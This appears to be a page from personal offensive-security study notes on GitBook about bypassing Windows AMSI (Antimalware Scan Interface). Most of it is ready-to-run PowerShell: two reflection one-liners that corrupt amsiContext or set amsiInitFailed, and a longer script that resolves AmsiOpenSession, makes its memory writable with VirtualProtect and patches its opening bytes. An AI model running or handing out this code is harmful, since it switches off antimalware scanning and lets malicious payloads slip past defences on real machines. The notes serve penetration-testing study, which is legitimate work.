OffSec Notes
Ctrlk
All Gitbook
  • Useful
  • Attack
    • Client Side Code Execution
    • Evasions
      • C# Process Injection
      • C# DLL Injection
      • Process Hollowing
      • VBA AV Bypass
      • AMSI Bypass
        • FodHelper UAC Bypass
        • JScript
      • Application Whitelisting Bypass
    • MS SQL
    • Kiosk Breakout
    • Active Directory
  • Post-Exploitation
    • Windows Credentials
    • Linux
  • Network
    • Bypass Network Filters
    • Windows Lateral Movement
    • Linux Lateral Movement
    • Ligolo
  • Checklist / Flow
Powered by GitBook
On this page
  1. Attack
  2. Evasions

AMSI Bypass

Antimalware Scan Interface - Disable AMSI from PowerShell, focused on causing an error with AMSI-related information or modifying the AMSI APIs to return an error

AMSI bypass with reflection in PowerShell

LogoAMSI 浅析及绕过——写得很深入,看来amsi还是静态方式做的,没有做到运行时检测,检测的银弹在哪里呢,语义分析和机器学习吗? - bonelee - 博客园www.cnblogs.com
AMSI.failamsi.fail

Modify assembly instructions

https://gist.githubusercontent.com/shantanu561993/6483e524dc225a188de04465c8512909/raw/db219421ea911b820e9a484754f03a26fbfb9c27/AMSI_bypass_Reflection.ps1gist.githubusercontent.com
PreviousPowershell Inside VBANextFodHelper UAC Bypass

Last updated 1 year ago

  • AMSI bypass with reflection in PowerShell
  • Modify assembly instructions
a) AmsiContext.txt | IEX
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
b) > *AmsiInitialize* <
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils';$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c));$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static');$e.SetValue($null,$true)
'amsiutils'
function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.CreateType()
}

[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48, 0x31, 0xC0) 
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer)
'amsiutils'